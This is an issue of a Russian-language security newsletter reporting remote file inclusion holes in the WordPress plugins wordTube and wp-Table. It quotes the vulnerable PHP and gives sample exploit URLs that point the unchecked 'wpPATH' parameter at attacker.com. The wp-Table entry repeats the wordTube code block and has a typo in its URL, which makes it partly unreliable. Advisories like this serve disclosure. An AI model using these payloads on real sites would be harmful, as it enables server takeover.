Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Уязвимости в wordTube, wp-Table.


Компьютер для продвинутых пользователей
В этом выпуске:
wordTube | wp-Table
ПО: wordTube
Версия: <=1.43

О продукте:
Этот плагин создают персональный YouTube плеер, поддерживающий потоковые видеоформаты и Mp3, JPG, GIF и PNG.

Уязвимость:
----------------wordtube-button.php-------------------
....

*/
// get and set path of function

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
....
----------------------------------------------------------------

Параметр "wpPATH" не проверяется, что даёт возможость задавать различные значения.

Пример:
http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil?
ПО: wp-Table
Версия: <=1.43

О продукте:
Этот плагин простой менеджер для WordPress.

Уязвимость:
----------------wordtube-button.php-------------------
....

*/
// get and set path of function

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
....
----------------------------------------------------------------

Параметр "wpPATH" не проверяется, что даёт возможость задавать различные значения.

Пример:
http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil?
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru
Отблагодорить: WM - R407426923581

В избранное